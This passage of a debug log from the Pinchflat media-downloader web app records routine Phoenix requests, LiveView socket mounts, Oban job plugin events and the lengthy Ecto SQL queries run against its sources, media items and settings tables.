IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:44:48.183 [debug] Replied in 3ms 12:44:56.697 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.500 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:20.655 [info] GET /sources 12:45:20.655 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 12:45:20.655 [debug] QUERY OK source="settings" db=0.1ms idle=1073.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:20.655 [debug] QUERY OK source="settings" db=0.0ms idle=1073.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:20.656 [debug] QUERY OK source="settings" db=0.1ms idle=1074.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:20.656 [debug] QUERY OK source="settings" db=0.0ms idle=1074.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:20.656 [debug] QUERY OK source="settings" db=0.0ms idle=894.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:20.662 [debug] QUERY OK source="sources" db=5.6ms idle=1.2ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 12:45:20.665 [debug] QUERY OK source="sources" db=2.9ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 12:45:20.667 [info] Sent 200 in 11ms 12:45:20.684 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "EX0uOBE6fwwpfDFULA4-O3AbGD5fFQkNW4YHfq-FbQZ5ntFJ26TYgaQN", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 12:45:20.703 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 12:45:20.705 [debug] QUERY OK source="sources" db=1.9ms idle=47.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 12:45:20.707 [debug] QUERY OK source="sources" db=1.8ms idle=49.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 12:45:20.707 [debug] Replied in 4ms 12:45:22.334 [info] GET /sources/1 12:45:22.334 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 12:45:22.335 [debug] QUERY OK source="sources" db=0.0ms idle=1669.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.335 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1629.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:45:22.335 [debug] QUERY OK source="tasks" db=0.2ms idle=1628.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 12:45:22.335 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1572.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [640, 31] 12:45:22.336 [debug] QUERY OK source="settings" db=0.0ms idle=571.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:22.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:22.336 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:45:22.336 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.338 [debug] QUERY OK source="media_items" db=1.1ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:45:22.339 [debug] QUERY OK source="media_items" db=1.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.339 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.339 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 12:45:22.340 [debug] QUERY OK source="media_items" db=0.6ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.340 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.342 [debug] QUERY OK source="media_items" db=1.0ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 12:45:22.343 [debug] QUERY OK source="media_items" db=1.1ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 12:45:22.344 [info] Sent 200 in 9ms 12:45:22.364 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Nnw-KAM7MQUjdCwDMhwKJxt5AAZPAgszp5IXtpcOhYGbpfrVYTLawvSp", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.1.7:8945/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "http://192.168.1.7:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 12:45:22.382 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FIwpwKRJK-kaBzxqB-Lg8tXC", "media_state" => "pending", "source_id" => 1} 12:45:22.382 [debug] QUERY OK source="sources" db=0.1ms idle=42.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:45:22.383 [debug] QUERY OK source="media_items" db=1.1ms idle=41.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:45:22.385 [debug] QUERY OK source="media_items" db=1.2ms idle=42.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) 